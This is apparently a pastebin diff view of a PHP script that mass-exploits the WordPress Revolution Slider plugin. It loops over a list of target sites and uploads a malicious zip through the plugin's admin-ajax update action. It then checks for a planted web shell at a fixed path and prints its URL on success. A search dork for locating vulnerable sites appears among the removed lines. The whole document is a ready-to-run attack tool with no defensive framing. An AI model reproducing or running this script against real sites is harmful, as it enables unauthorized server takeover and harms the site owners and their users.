View difference between Paste ID: gLqcmH42 and dkzJts3i
SHOW: | | - or go back to the newest paste.
1
<?php
2-
upload shell 
2+
3
@set_time_limit(0);
4-
Exploit Fail
4+
5
6-
site/wp-content/plugins/revslider/temp/update_extract/revslider/up.php
6+
7
/*
8-
Dork :wp-content/plugins/revslider/temp/update_extract/revslider
8+
9
Coded by Kro0oz ~
10-
##################script#################################
10+
11-
==================================================
11+
12
print "
13
14
.-..-.            .--.             
15
: :' ;           : ,. :            
16
:   ' .--.  .--. : :: : .--. .---. 
17
: :.`.: ..'' .; :: :; :' .; :`-'_.'
18
:_;:_;:_;  `.__.'`.__.'`.__.'`.___;
19
                                                      
20
Coded by Kro0oz - upload shell 
21
22
         usage : php script.php list.txt
23
";
24
25
$g=@file_get_contents($argv[1]);
26
$ex=explode("\r\n",$g);
27
echo "\n\t Total site loaded : ".count($ex)."\n\n";
28
foreach($ex as $link){
29
  echo "[+]Scaning : $link ";
30
  revup($link);
31
}
32
33
function revup($site){
34
  $urlex=($site).("/wp-admin/admin-ajax.php");
35
36
$post = array('client_action'=>"update_plugin",
37
              "action"=>"revslider_ajax_action",
38
               "update_file" => "@revslider.zip"
39
              ) ;
40
41
$ch = curl_init("$urlex");
42
curl_setopt($ch, CURLOPT_POST, true);
43
curl_setopt($ch, CURLOPT_POSTFIELDS,$post);
44
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
45
$postResult = curl_exec($ch);
46
//print $postResult;
47
$path="$site/wp-content/plugins/revslider/temp/update_extract/revslider/up.php";
48
$gett=@file_get_contents($path);
49
if(preg_match('/Kro0oz codersleet/i',$gett)){
50
  echo "\n[+]Exploit Done \n[+]shell : $path \n\n ";
51
}else{
52
   echo "\n[-]Exploit Fail \n\n";
53
}
54
55
}
56
?>